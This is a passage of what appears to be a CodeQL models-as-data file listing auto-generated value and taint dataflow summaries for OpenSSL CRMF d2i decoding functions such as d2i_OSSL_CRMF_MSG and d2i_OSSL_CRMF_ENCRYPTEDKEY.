"d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", 